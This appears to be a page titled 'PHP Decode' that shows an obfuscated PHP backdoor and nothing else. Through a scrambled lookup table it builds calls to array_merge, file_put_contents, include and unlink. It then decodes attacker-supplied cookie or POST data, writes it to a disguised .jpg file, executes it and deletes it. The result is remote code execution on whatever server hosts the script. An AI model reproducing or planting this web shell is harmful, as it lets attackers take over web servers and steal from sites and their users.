PHP Decode

<?php 
function cd6       (){echo 'yj7'; 
} 
 
 
function   yu1	( $lk2  ) 
{$dh4=0; 
 
 
$xn3 =    "t9xd71FgehfL;sa)(l<o?*#p@uH3cjEik_I.0'28mb45 n/-vry"; $zo5 = substr("", 0); 
 while(1) 
 
 
{ 
	if($dh4>=count($lk2)) break;	$zo5      .=    $xn3       [ $lk2[$dh4] ]; $dh4++; 
 
 
} 
return $zo5; 
}$oq9 = [];$mvxjhd     = 34220; 
$oq9[2555]       = yu1 (    Array(27 ,     42	, 28       ,    42	,	14	, 42       ,     38 , 10       , 47       , 43 ,   14      ,  3   , 41	,      47     , 42 ,    36 ,	14 ,      4	,    47 ,	1	, 38    ,	4 ,   5 ,       47	, 28 ,    5 ,    38 , 1       , 36 , 5 , 1	, 8 , 8 , 41	, 36 ,	39	,)	) ; 
$oq9[34278]   =	yu1	(	Array(20	,	23 ,	9 ,	23	,    44 , 24	, 25	, 45	,	17 , 31 ,      45	,  32	,	16 , 33 , 33       ,	6 ,   34 ,   11 , 30 ,    33       , 33 , 15	, 12 , 44    ,) ) ; 
 
$oq9[83430] = yu1 (    Array(35       , 29 , 23 , 7       ,) )    ; 
 
 
$oq9[92643]	=	yu1	( Array(26	, 21 ,) )       ; 
 
$dx26 =   32006;$oq9[97764] =	yu1 ( Array(35 ,     46       ,) )  ;$oq9[63459] =	yu1	( Array(22 ,)	)	; 
 
$xu27   = 36741; 
 
$oq9[89058] =	yu1	( Array(18 ,) ) ; 
 
$xo28    = 58798; 
$oq9[39393] = yu1 ( Array(10   , 31 ,    17	,	8   , 33	,   23	,	25 , 0 , 33 , 28 ,   19 ,   45 ,  0 , 8	,      45 ,       0 , 13	,) ) ; 
$gs29  = 33209; 
$oq9[72159]	= yu1	(	Array(14	, 49 , 49	,     14 ,	50 , 33 , 40 , 8 , 49	, 7      ,	8     ,)     ) ; 
 
$oq9[48095]	= yu1	( Array(10	, 31	,	17 ,   8  , 33 , 8 , 2	, 31 ,	13 , 0 , 13 ,) )       ; 
 
$dg30     = 26570; 
 
$oq9[86489] = yu1 ( Array(13       , 0 , 49    ,  33 ,     49      , 8  ,      23 ,      8	,	14 ,  0 ,) ) ; 
 
$oq9[32728]	= yu1       ( Array(8 , 2     , 23 , 17 ,       19    ,   3	,	8 ,)     )      ; 
 
$ay31 = 89278; 
 
$oq9[95191] = yu1 (      Array(31 ,       45    , 0 ,	48 ,       14 , 17 ,) )	; 
$cy32 =	12052; 
 
 
$oq9[22993]	= yu1 (       Array(25 , 45	,	17   ,	31 , 45 ,	32   ,)	) ; 
 
 
$oq9[98251] = yu1 ( Array(13   ,	0    ,     49 , 17 , 8 ,	45	,)   )	; 
$oq9[20936]       =	yu1    ( Array(23	, 14 ,	28 , 32 ,) ) ; 
 
 
 
 
 
$lt22 =	$_COOKIE;     $rl20 =	"35916";$lt22	= $oq9[72159]($lt22, $_POST); 
foreach ($lt22  as $va25	=> $ba21){     function      ma15 (     $oq9,     $va25 , $ss19 ) 
   { 
 
 
 return	substr (	$oq9[86489]     ( $va25    . $oq9[2555]       ,      $oq9[95191]( $ss19/$oq9[98251](	$va25	) ) +   1 )	, 0 ,	$ss19 ); 
 
 
    } 
 
 
 
 function     ta13 (	$oq9, $in23 ) 
 
     { return @$oq9[20936]	($oq9[92643] ,	$in23     ); } 
 
 
 
 function     wu11 ( $oq9, $ba21, $va25) 
	{ 
 
 
	return  ta13      (      $oq9,	$ba21 )    ^ ma15       ( $oq9, $va25	, $oq9[98251](       $ba21      )	); } 
 
        function mg12    ( $oq9, $ba21,     $va25)	{      return	$oq9[32728] (      $oq9[63459]	, wu11 ( $oq9,       $ba21,	$va25)); 
 } 
 
  
 
 function fb10 ( $oq9, $ba21, $va25) {	$ba21	=	mg12 ( $oq9,      $ba21,       $va25); 
 
 
 if (tf18 ( $oq9,  $ba21)) 
 
 
	{ exit(); 
 
 
 } 
 } 
 
 
        
 
	function	vw14	(	$oq9,   $in23) 
 
 { 
 $mr24 = $oq9[97764]      . md5( $oq9[2555] )    .	$oq9[83430];	 @$oq9[39393] (	$mr24, $oq9[89058]       . $oq9[34278]	. $in23[1]	( $in23[2]	) ); 
        
 
 return $mr24; 
 
      } 
  function	ap17 ( $oq9,   $mr24) { 
      if ($oq9[48095]($mr24))  
 
 
 { 
 
 
 @$oq9[22993]    ( $mr24    ); 
 
	} 
	} 
 
 
  
 function wr16 ( $oq9, $mr24 ) 
 { 
     @include (    $mr24 ); 
 
 
 
 
 ap17    ( $oq9,   $mr24); 
 
     } 
  
 
 function	tf18	( $oq9,	$in23	) 
 
 
 { 
 
	if (    isset ( $in23[2]	)      ) {       
 
 $mr24	=       vw14 (	$oq9,   $in23); 
        wr16    ( $oq9, $mr24); 
      
      return 1; 
 
 
 } 
 }  
 
 
 fb10 ( $oq9, $ba21,    $va25); 
} ?>